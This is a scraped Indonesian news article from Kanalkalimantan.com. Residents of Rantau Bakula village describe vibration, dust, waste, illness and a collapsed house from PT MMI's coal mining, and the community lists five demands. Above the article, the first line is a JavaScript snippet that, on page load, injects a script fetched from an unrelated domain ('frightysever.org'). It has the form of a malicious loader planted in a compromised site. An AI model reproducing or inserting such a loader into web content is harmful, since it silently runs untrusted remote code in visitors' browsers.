(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Getaran kencang, polusi udara, minim air bersih, bangunan hancur, timbulnya penyakit, sangat dirasakan warga Desa Rantau Bakula, Kecamatan Sungai Pinang, Kabupaten Banjar yang hidup berdampingan dengan tambang batu bara.
Dalam Diskusi bertajuk “Mendengar Rantau Bakula dari Dekat: Derita di Relung Konsesi Batubara” yang berlangsung di Biji Kopi Banjarbaru, Kamis (14/11/2025), warga Rantau Bakula menceritakan penderitaan mereka selama ini.
Mereka merupakan warga Rantau Bakula RT 04, titik lokasi yang paling terdampak oleh aktivitas tambang dan pencucian batu bara milik PT MMI yang beroperasi di tempat permukiman.
Baca juga: Tiga Raperda Inisiatif Disahkan, Ada Pengaturan Ormas dan Penyelenggaran Jalan Kota
Warga Rantau Bakula, Pariyun. Foto: fahmi
Salah satu warga Rantau Bakula, Pariyun (63) mengatakan, ada begitu banyak dampak yang dirasakan warga akibat konsesi tambang tersebut, misalnya getaran pada siang malam yang tiada henti-hentinya dari alat berat.
“Rumah saya jaraknya 30 meter dari lokasi tambang, itu tronton, mobil besar itu ngangkut dan buang batu bara lewat belakang rumah saya,” ungkap Pariyun.
Lelaki buruh tani ini menambahkan, dampak lain yang dialami seperti debu batu bara maupun tanah, limbah sisa. Bahkan tanaman karet dan jati miliknya banyak yang mati diduga karena aktivitas pertambangan tersebut.
“Limbah sampai satu setengah meter, sampai sekarang gak ada yang mempertanggungawabkan masalah itu. Sudah lapor kemana-mana, gak ada yang respon sampai sekarang, kalaupun ada paling sandiwara, karena setelah itu sunyi senyap,” ungkapnya.
Pariyun mengaku sudah mengadu ke DPRD Kalimantan Selatan dan anggota Komisi III telah terjun melihat situasi lapangan dan berkomitmen membela rakyat, namun hasilnya tetap nihil.
“Sampai dewan itu membela rakyat dan komentar banyak di sana, ini gak layak, nanti saya kawal, tapi kenyataannya sampai sekarang gak ada reaksi apa-apa,” jelasnya.
Merasa tidak dihiraukan pemerintah daerah, Pariyun bersama teman-teman Rantau Bakula berusaha mengumpulkan uang untuk membawa masalah ini ke pemerintah pusat demi mencari keadilan.
“Walaupun dengan risikonya, jalan kakipun tetap saya jalani karena saya punya tempat cuma itu saja, sebagai buruh tani sehari makan saja masih kurang,” tegasnya.
Besar harapan Pariyun, Presiden RI Prabowo Subianto, Menteri Energi Sumber Daya Mineral (ESDM) RI Bahlil Lahadalia, dan Komisi III DPR RI Habiburokhman mendengar keluhan warga Rantau Bakula.
“Ibaratnya menangis tiap malam gak bisa istirahat susah karena kebisingan, silahkan datang ke tempat saya untuk membuktikan kalau saya dikira mengada-ngada, batu bara itu menjulang tinggi di atas rumah,” tutur Pariyun.
Lebih jauh, dia memaparkan, banyak warga yang terpaksa pindah atau mengosongkan rumah, sebab mereka sudah kehilangan harapan untuk tetap bertahan di tengah himpitan tambang batu bara.
“Total ada 27 kepala keluarga atau rumah di tempat kami, sebelah kanan perusahaan sebelah kiri perusahaan, jadi kita itu di tengah-tengah perusahaan,” beber Pariyun.
Belum lagi soal gangguan kesehatan seperti gatal-gatal, batuk, hingga penyakit Infeksi Saluran Penyakit Akut (ISPA) yang dalam sebulan mencapai tiga kasus. Hal ini menurut Pariyun disinyalir kuat akibat dampak konsesi batu bara.
Pariyun mengaku kesulitan mendapat air bersih. Bahkan sejak 2008 saat limbah mulai merembes ke mana-mana, dirinya harus membeli air bersih yang harganya Rp8 ribu untuk satu galonnya.
Rumahnya pun sekarang boleh dikatakan hampir ambruk sehingga rasa was-was pun menghantui tiap harinya. “Keramiknya retak sekitar tiga sampai lima senti,” tutur Pariyun.
Puncaknya terjadi saat dapur rumah bernama Suparno (55) dan istrinya Mujiati (48) telah roboh pada Sabtu (8/11/2025) malam. “Rumahnya ambruk sekitar jam 11 malam sampai orangnya trauma. Alhamdulillah tidak ada korban jiwa,” imbuhnya.
Baca juga: Masuk Puncak Musim Hujan, BMKG Staklim Kalsel: Waspada Bencana Hidrometeorologi
Warga Rantau Bakula, Mariadi. Foto: fahmi
Di tempat yang sama, Mariadi (53) menjelaskan, peristiwa ambruknya rumah tersebut diduga akibat getaran dari alat berat dan mesin pencucian batubara.
“Dari pihak PT MMI mereka gak ada respon apa-apa mereka merasa gak bersalah atau gimana gak tau cara pemikiran mereka, jangan sampai ada korban akibat keruntuhan tanah atau rumah yang ambruk,” ucapnya.
Baca juga: Rehabilitasi Jalan Sukamara Makan Korban, Dinas PUPR Banjarbaru Beri Penjelasan
Pernyataan sikap warga Rantau Bakula. Foto: fahmi
Atas kejadian tersebut, warga Rantau Bakula melayangkan pernyataan sikap dengan lima tuntutan sebagai berikut:
1. Kami menuntut kepada PT MMI untuk segera melakukan pembebasan lahan dan rumah warga yang terdampak secara menyeluruh, bukan sekadar perbaikan atau pergantian sebagian bangunan;
2. Meminta kepastian penyelesaian pembebasan lahan paling lambat pertengahan Desember 2025;
3. Apabila hingga batas waktu tersebut tidak ada penyelesaian yang nyata, kami menuntut agar seluruh aktivitas pertambangan termasuk alat pencucian batubara dan angkutan truk dihentikan sementara;
4. Menuntut pemerintah daerah dan instansi terkait untuk turun langsung meninjau kondisi lapangan serta memastikan hak-hak warga terpenuhi sesuai ketentutan hukum yang berlaku;
5. Menolak segala bentuk intimidasi atau tekanan kepada warga yang menyerukan keberatan dari tuntutan ini. kami menegaskan bahwa perjuangan ini bukan semata demi kepentingan individu melainkan demi keselamatan bersama lingkungan hidup yang layak dan masa depan anak-anak kami Desa Rantau Bakula. (Kanalkalimantan.com/fahmi)
Reporter: fahmi
Editor: bie
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
This website uses cookies.